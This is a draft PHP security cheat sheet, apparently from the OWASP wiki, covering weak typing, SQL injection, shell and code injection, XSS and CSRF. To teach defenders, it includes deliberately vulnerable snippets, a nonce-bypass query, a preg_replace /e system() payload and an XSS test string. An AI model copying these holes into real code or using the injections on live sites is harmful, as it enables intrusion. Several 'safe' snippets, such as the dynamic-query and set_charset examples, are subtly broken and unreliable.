				<updated>2014-05-02T09:19:57Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature() {&lt;br /&gt;
        global $db_link, $current_user;&lt;br /&gt;
        $username = mysqli_real_escape_string($link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature()) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
